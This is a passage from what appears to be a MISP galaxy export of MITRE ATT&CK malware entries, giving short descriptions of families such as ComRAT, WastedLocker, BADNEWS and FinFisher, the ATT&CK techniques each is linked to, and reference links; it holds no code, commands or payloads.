https://www.accenture.com/t20181129T203820Z*w*/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50[https://www.accenture.com/t20181129T203820Z*w*/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50]
https://www.cyberscoop.com/apt28-brexit-phishing-accenture/

ComRAT - S0126

[ComRAT](https://attack.mitre.org/software/S0126) is a second stage implant suspected of being a descendant of [Agent.btz](https://attack.mitre.org/software/S0092) and used by [Turla](https://attack.mitre.org/groups/G0010). The first version of [ComRAT](https://attack.mitre.org/software/S0126) was identified in 2007, but the tool has undergone substantial development for many years since.(Citation: Symantec Waterbug)(Citation: NorthSec 2015 GData Uroburos Tools)(Citation: ESET ComRAT May 2020)

The tag is: *misp-galaxy:mitre-malware="ComRAT - S0126"*

ComRAT - S0126 is also known as:

- ComRAT

View relationships graph

ComRAT - S0126 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Mail Protocols - T1071.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:rat="ComRAT" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking - T1546.015" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="Agent.BTZ" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Agent.BTZ" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden File System - T1564.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

Table 5377. Table References

Links
https://attack.mitre.org/software/S0126
https://docplayer.net/101655589-Tools-used-by-the-uroburos-actors.html
https://www.threatminer.org/report.php?q=waterbug-attack-group.pdf&y=2015#gsc.tab=0&gsc.q=waterbug-attack-group.pdf&gsc.page=1
https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf

POORAIM - S0216

[POORAIM](https://attack.mitre.org/software/S0216) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067) in campaigns since at least 2014. (Citation: FireEye APT37 Feb 2018)

The tag is: *misp-galaxy:mitre-malware="POORAIM - S0216"*

POORAIM - S0216 is also known as:

- POORAIM

View relationships graph

POORAIM - S0216 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="POORAIM" with estimative-language:likelihood-probability="likely"

Table 5378. Table References

Links
https://attack.mitre.org/software/S0216
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

Catchamas - S0261

[Catchamas](https://attack.mitre.org/software/S0261) is a Windows Trojan that steals information from compromised systems. (Citation: Symantec Catchamas April 2018)

The tag is: *misp-galaxy:mitre-malware="Catchamas - S0261"*

Catchamas - S0261 is also known as:

- Catchamas

View relationships graph

Catchamas - S0261 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"

Table 5379. Table References

Links
https://attack.mitre.org/software/S0261
https://www-west.symantec.com/content/symantec/english/en/security-center/writeup.html/2018-040209-1742-99

Komplex - S0162

[Komplex](https://attack.mitre.org/software/S0162) is a backdoor that has been used by [APT28](https://attack.mitre.org/groups/G0007) on OS X and appears to be developed in a similar manner to [XAgentOSX](https://attack.mitre.org/software/S0161) (Citation: XAgentOSX 2017) (Citation: Sofacy Komplex Trojan).

The tag is: *misp-galaxy:mitre-malware="Komplex - S0162"*

Komplex - S0162 is also known as:

- Komplex

View relationships graph

Komplex - S0162 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="SOURFACE" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="CORESHELL" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:tool="GAMEFISH" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Launch Agent - T1543.001" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="Komplex" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

Table 5380. Table References

Links
https://attack.mitre.org/software/S0162
https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/

WastedLocker - S0612

[WastedLocker](https://attack.mitre.org/software/S0612) is a ransomware family attributed to [Indrik Spider](https://attack.mitre.org/groups/G0119) that has been used since at least May 2020. [WastedLocker](https://attack.mitre.org/software/S0612) has been used against a broad variety of sectors, including manufacturing, information technology, and media.(Citation: Symantec WastedLocker June 2020)(Citation: NCC Group WastedLocker June 2020)(Citation: Sentinel Labs WastedLocker July 2020)

The tag is: *misp-galaxy:mitre-malware="WastedLocker - S0612"*

WastedLocker - S0612 is also known as:

- WastedLocker

View relationships graph

WastedLocker - S0612 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows File and Directory Permissions Modification - T1222.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 5381. Table References

Links
https://attack.mitre.org/software/S0612

https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us
https://www.sentinelone.com/labs/wastedlocker-ransomware-abusing-ads-and-ntfs-file-attributes/

BBSRAT - S0127

[BBSRAT](https://attack.mitre.org/software/S0127) is malware with remote access tool functionality that has been used in targeted compromises. (Citation: Palo Alto Networks BBSRAT)

The tag is: *misp-galaxy:mitre-malware="BBSRAT - S0127"*

BBSRAT - S0127 is also known as:

- BBSRAT

View relationships graph

BBSRAT - S0127 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Library - T1560.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking - T1546.015" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="BBSRAT" with estimative-language:likelihood-probability="likely"

* uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5382. Table References

Links
http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/
https://attack.mitre.org/software/S0127

KEYMARBLE - S0271

[KEYMARBLE](https://attack.mitre.org/software/S0271) is a Trojan that has reportedly been used by the North Korean government. (Citation: US-CERT KEYMARBLE Aug 2018)

The tag is: *misp-galaxy:mitre-malware="KEYMARBLE - S0271"*

KEYMARBLE - S0271 is also known as:

* KEYMARBLE

View relationships graph

KEYMARBLE - S0271 has relationships with:

* uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5383. Table References

Links
https://attack.mitre.org/software/S0271
https://www.us-cert.gov/ncas/analysis-reports/AR18-221A

SHUTTERSPEED - S0217

[SHUTTERSPEED](https://attack.mitre.org/software/S0217) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067). (Citation: FireEye APT37 Feb 2018)

The tag is: *misp-galaxy:mitre-malware="SHUTTERSPEED - S0217"*

View relationships graph

SHUTTERSPEED - S0217 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="SHUTTERSPEED" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5384. Table References

Links
https://attack.mitre.org/software/S0217
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

Reaver - S0172

[Reaver](https://attack.mitre.org/software/S0172) is a malware family that has been in the wild since at least late 2016. Reporting indicates victims have primarily been associated with the "Five Poisons," which are movements the Chinese government considers dangerous. The type of malware is rare due to its final payload being in the form of [Control Panel](https://attack.mitre.org/techniques/T1218/002) items.(Citation: Palo Alto Reaver Nov 2017)

The tag is: *misp-galaxy:mitre-malware="Reaver - S0172"*

Reaver - S0172 is also known as:

- Reaver

View relationships graph

Reaver - S0172 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Custom Method - T1560.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Control Panel - T1218.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="Reaver" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"

Table 5385. Table References

Links
https://attack.mitre.org/software/S0172
https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/

BADNEWS - S0128

[BADNEWS](https://attack.mitre.org/software/S0128) is malware that has been used by the actors responsible for the [Patchwork](https://attack.mitre.org/groups/G0040) campaign. Its name was given due to its use of RSS feeds, forums, and blogs for command and control. (Citation: Forcepoint Monsoon) (Citation: TrendMicro Patchwork Dec 2017)

The tag is: *misp-galaxy:mitre-malware="BADNEWS - S0128"*

BADNEWS - S0128 is also known as:

- BADNEWS

View relationships graph

BADNEWS - S0128 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Network Shared Drive - T1039" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Invalid Code Signature - T1036.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dead Drop Resolver - T1102.001" with estimative-language:likelihood-probability="almost-certain"

Table 5386. Table References

Links
https://attack.mitre.org/software/S0128
https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf
https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf

SLOWDRIFT - S0218

[SLOWDRIFT](https://attack.mitre.org/software/S0218) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067) against academic and strategic victims in South Korea. (Citation: FireEye APT37 Feb 2018)

The tag is: *misp-galaxy:mitre-malware="SLOWDRIFT - S0218"*

SLOWDRIFT - S0218 is also known as:

- SLOWDRIFT

View relationships graph

SLOWDRIFT - S0218 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="SLOWDRIFT" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5387. Table References

Links
https://attack.mitre.org/software/S0218
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

Dok - S0281

[Dok](https://attack.mitre.org/software/S0281) is a Trojan application disguised as a .zip file that is able to collect user credentials and install a malicious proxy server to redirect a user’s network traffic (i.e. [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)).(Citation: objsee mac malware 2017)(Citation: hexed osx.dok analysis 2019)(Citation: CheckPoint Dok)

The tag is: *misp-galaxy:mitre-malware="Dok - S0281"*

Dok - S0281 is also known as:

- Dok
- Retefe

View relationships graph

Dok - S0281 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Adversary-in-the-Middle - T1557" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Linux and Mac File and Directory Permissions Modification - T1222.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Sudo and Sudo Caching - T1548.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="AppleScript - T1059.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Login Items - T1547.015" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="GUI Input Capture - T1056.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Install Root Certificate - T1553.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Launch Agent - T1543.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003" with estimative-language:likelihood-probability="almost-certain"

Table 5388. Table References

Links
http://www.hexed.in/2019/07/osxdok-analysis.html
https://attack.mitre.org/software/S0281
https://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/
https://objective-see.com/blog/blog_0x25.html

FinFisher - S0182

[FinFisher](https://attack.mitre.org/software/S0182) is a government-grade commercial surveillance spyware reportedly sold exclusively to government agencies for use in targeted and lawful criminal investigations. It is heavily obfuscated and uses multiple anti-analysis techniques. It has other variants including [Wingbird](https://attack.mitre.org/software/S0176). (Citation: FinFisher Citation) (Citation: Microsoft SIR Vol 21) (Citation: FireEye FinSpy Sept 2017) (Citation: Securelist BlackOasis Oct 2017) (Citation: Microsoft FinFisher March 2018)

The tag is: *misp-galaxy:mitre-malware="FinFisher - S0182"*

FinFisher - S0182 is also known as:

- FinFisher
- FinSpy

View relationships graph

FinFisher - S0182 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bootkit - T1542.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploit OS Vulnerability - T1404" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1436" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="FinFisher RAT" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="KernelCallbackTable - T1574.013" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"
